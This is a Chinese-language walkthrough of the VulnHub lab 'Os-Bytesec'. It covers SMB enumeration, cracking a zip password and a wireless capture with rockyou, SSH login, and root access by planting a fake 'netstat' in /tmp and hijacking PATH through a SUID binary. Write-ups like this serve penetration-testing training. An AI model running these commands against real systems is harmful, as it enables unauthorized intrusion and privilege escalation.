Os-ByteSec

下载地址:hackNos: Os-Bytesec ~ VulnHub

1 信息收集

1.1 端口扫描

1.2 后台目录扫描

# 没有啥东东
---- Scanning URL: http://192.168.0.3/ ----
http://192.168.0.3/css/
http://192.168.0.3/gallery/
http://192.168.0.3/html/
http://192.168.0.3/img/
http://192.168.0.3/index.html
http://192.168.0.3/js/
http://192.168.0.3/news/

2 服务漏洞利用

2.1 检测smb服务漏洞

  1. 使用nmap扫描smb漏洞:没啥东东

    nmap -sV -T4 -p139,445 192.168.0.3 --script smb-vuln-*

  2. 使用smbmap枚举smb用户信息:匿名访问无权限

    smbmap -H 192.168.0.3

  3. 使用enum4linux检测目标系统上的smb服务:找到3个用户

    enum4linux 192.168.0.3
    
    S-1-22-1-1000 Unix User\sagar (Local User)
    S-1-22-1-1001 Unix User\blackjax (Local User)
    S-1-22-1-1002 Unix User\smb (Local User)

  4. 查看smb用户是否有列出用户共享目录权限:smb用户可以无密码列出共享目录

  5. 使用smbclient命令列出smb隐藏目录

    smbclient //192.168.0.3/smb -U smb
    get main.txt
    get safe.zip

  6. 查看下载的文件

    # main.txt 没有东东
    safe.zip解压需要密码
  7. 暴破safe.zip文件密码:

    fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u safe.zip

  8. 解压后发现user.cap包为无线wps的抓包,使用aricrack-ng暴力猜解:

    aircrack-ng -w /usr/share/wordlists/rockyou.txt user.cap
    
    blackjax:snowflake

2.2 GetShell

  1. 尝试登录ssh

    ssh blackjax@192.168.0.3 -p 2525

  2. 切换shell

    python -c "import pty;pty.spawn('/bin/bash')"

3 提权

3.1 尝试提权

  1. 利用sudo提权:失败

    sudo su -

3.2 收集当前系统信息

  1. 查看目标系统中存在哪些用户:sagar,blackjax,smb

  2. 在blackjax用户家目录下得到user.txt

    # 查找每个用户所创建的文件
    find / -user 1001 2>/dev/null f589a6959f3e04037eb2b3eb0ff726ac
    明文:abhishek

  3. 查找目标系统中拥有SID权限的命令:netscan

    blackjax@nitin:~$ find / -type f -perm -u=s 2>/dev/null
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/openssh/ssh-keysign
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/lib/snapd/snap-confine
    /usr/lib/i386-linux-gnu/lxc/lxc-user-nic
    /usr/lib/eject/dmcrypt-get-device
    /usr/bin/newgidmap
    /usr/bin/gpasswd
    /usr/bin/newuidmap
    /usr/bin/chfn
    /usr/bin/passwd
    /usr/bin/chsh
    /usr/bin/at
    /usr/bin/pkexec
    /usr/bin/newgrp
    /usr/bin/netscan
    /usr/bin/sudo
    /bin/ping6
    /bin/fusermount
    /bin/mount
    /bin/su
    /bin/ping
    /bin/umount
    /bin/ntfs-3g

3.3 利用SID命令劫持系统命令提权:netscan

  1. 确认netscan功能:输出结果与netstat -pant相似

    blackjax@nitin:~$ netscan
    Active Internet connections (servers and established)
    Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
    tcp 0 0 0.0.0.0:2525 0.0.0.0:* LISTEN 1031/sshd
    tcp 0 0 0.0.0.0:445 0.0.0.0:* LISTEN 1266/smbd
    tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN 1042/mysqld
    tcp 0 0 0.0.0.0:139 0.0.0.0:* LISTEN 1266/smbd
    tcp 0 36 10.1.1.3:2525 192.168.0.2:60762 ESTABLISHED 2186/sshd: blackjax
    tcp 0 0 10.1.1.3:2525 192.168.0.2:60760 ESTABLISHED 1687/sshd: blackjax
    tcp6 0 0 :::2525 :::* LISTEN 1031/sshd
    tcp6 0 0 :::445 :::* LISTEN 1266/smbd
    tcp6 0 0 :::139 :::* LISTEN 1266/smbd
    tcp6 0 0 :::80 :::* LISTEN 1173/apache2
  2. 分析netscan文件

    blackjax@nitin:~$ whereis netscan
    netscan: /usr/bin/netscan
    blackjax@nitin:~$ whereis xxd
    xxd: /usr/bin/xxd /usr/share/man/man1/xxd.1.gz
    blackjax@nitin:~$ xxd /usr/bin/netscan | less
    # 调用的是netstat -pant

  3. 当Unix调用系统命令时,首先会查找本地目录下的命令文件,如果存在,优先执行本地的命令;如果不存在,则通过系统变量查找要执行的命令文件

    blackjax@nitin:~$ cd /tmp/
    blackjax@nitin:/tmp$ echo "/bin/bash" > netstat
    blackjax@nitin:/tmp$ chmod +x netstat
    blackjax@nitin:/tmp$ echo $PATH
    /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
    # 添加/tmp目录下的命令到系统的环境变量中
    blackjax@nitin:/tmp$ export PATH=/tmp:$PATH
    blackjax@nitin:/tmp$ netscan
    root@nitin:/tmp#

Os-ByteSec的更多相关文章

  1. NodeJs之OS

    OS Node.js提供了一些基本的底层操作系统的模块OS. API var os = require('os'); console.log('[arch] 操作系统CPU架构'+os.arch()) ...

  2. Node.js:OS模块

    os模块,可以用来获取操作系统相关的信息和机器物理信息,例如操作系统平台,内核,cpu架构,内存,cpu,网卡等信息. 使用如下所示: const os = require('os'); var de ...

  3. Xamarin+Prism开发详解四:简单Mac OS 虚拟机安装方法与Visual Studio for Mac 初体验

    Mac OS 虚拟机安装方法 最近把自己的电脑升级了一下SSD固态硬盘,总算是有容量安装Mac 虚拟机了!经过心碎的安装探索,尝试了国内外的各种安装方法,最后在youtube上找到了一个好方法. 简单 ...

  4. Mac OS 使用 Vagrant 管理虚拟机(VirtualBox)

    Vagrant(官网.github)是一款构建虚拟开发环境的工具,支持 Window,Linux,Mac OS,Vagrant 中的 Boxes 概念类似于 Docker(实质是不同的),你可以把它看 ...

  5. Mac OS、Ubuntu 安装及使用 Consul

    Consul 概念(摘录): Consul 是 HashiCorp 公司推出的开源工具,用于实现分布式系统的服务发现与配置.与其他分布式服务注册与发现的方案,比如 Airbnb 的 SmartStac ...

  6. java 利用ManagementFactory获取jvm,os的一些信息--转

    原文地址:http://blog.csdn.net/dream_broken/article/details/49759043 想了解下某个Java项目的运行时jvm的情况,可以使用一些监控工具,比如 ...

  7. 让 ASP.NET vNext 在 Mac OS 中飞呀飞。。。

    写在前面 阅读目录: 娓娓道来 Install ASP.NET vNext Command Line Tools 安装 Homebrew 使用 Homebrew,安装 KVM Install Subl ...

  8. Mac OS X 上编写 ASP.NET vNext (二) IDE配置

    上一篇中介绍了如何在OS X上搭建.Net运行时.不过光有运行时还不够,还需要有一个好用的IDE,有了IDE的支持,OS X上的开发才称为可能. 和上篇类似,这里先列举出具体步骤,个人可以根据自己的情 ...

  9. 在Mac OS X上安装ASP.NET 5(译文)

    ASP.NET 5 运行在包括OS X的可用于多个平台的.NET Execution Environment(DNX)上.本文介绍如何在OS X上通过HomeBrew安装DNX和ASP.NET 5. ...

  10. Python标准模块--os

    1.模块简介 os模块主要包含普遍的操作系统相关操作,如果开发者希望自己开发的Python应用能够与平台无关,尤其需要关注os这个模块. 2.模块使用 2.1 os模块 1. os.name,输出字符 ...

随机推荐

  1. Go1.20 新版覆盖率方案解读

    玩过Go覆盖率的同学当有所了解,Go的覆盖率方案最初的设计目标仅是针对单测场景,导致其局限性很大.而为了适配更多的场景,行业内各种博客.插件.黑科技介绍也层出不穷.当然,过去我们也开源过Go系统测试覆 ...

  2. 目标检测模型的评价标准-AP与mAP

    目录 目录 目录 前言 一,精确率.召回率与F1 1.1,准确率 1.2,精确率.召回率 1.3,F1 分数 1.4,PR 曲线 1.4.1,如何理解 P-R 曲线 1.5,ROC 曲线与 AUC 面 ...

  3. 【每日一题】【暴力&双指针&动态规划】42. 接雨水-211130/220214

    给定 n 个非负整数表示每个宽度为 1 的柱子的高度图,计算按此排列的柱子,下雨之后能接多少雨水. 方法1:暴力求解(超时) import java.util.*; public class Solu ...

  4. day33-JSON&Ajax01

    JSON&Ajax01 JSON 在线文档 AJAX 在线文档 1.JSON介绍 JSON指的是JavaScript对象表示法( JavaScript Object Notation),JSO ...

  5. .NET 6 中外部引用项目NU1105异常问题解决

    .NET 6 Project中,添加了其他解决方案的工程后,本地能编译通过,代码签入后,其他同事下载代码,编译报错: 错误 NU1105 找不到"E:\Teld\01Code\TTP_CTP ...

  6. 1.5.6 NN与2NN-hadoop-最全最完整的保姆级的java大数据学习资料

    目录 1.5.6 NN与2NN 1.5.6.1 HDFS元数据管理机制 1.5.6.2 Fsimage与Edits文件解析 1.5.6.2.1 Fsimage文件内容 1.5.6.2.2 Edits文 ...

  7. mooc上的简单题,(疑惑已解决)

    如题,在简单不过的题,在自己编译器上试了很多例子,输出结果都对.但是oj不给过:(已解决) 统计指定单词出现的次数(10分) 题目内容:输入6个单词,查找第6个单词在前5个单词中出现的次数. 输入:6 ...

  8. pycharm 小技巧

    ctrl键 + B 查看定义源代码 alt键 + enter键 查看帮助 ctrl键 + shift键 + -号 所有代码隐藏 ctrl键 + shift键 + +号 所有代码展示 ctrl键 + D ...

  9. 04-CURD

    Insert @Test//测试插入 public void insertTest(){ User user = new User(); user.setName("wsk"); ...

  10. WCH网络授时芯片CH9126操作指导

    目前CH9126推荐在Win7操作系统的电脑上执行,暂不推荐在与Win10系统的电脑进行通讯. 一.重要引脚说明 设置及状态相关引脚: 引脚1:RSETE-一个控制CH9126工号的引脚,直接接18K ...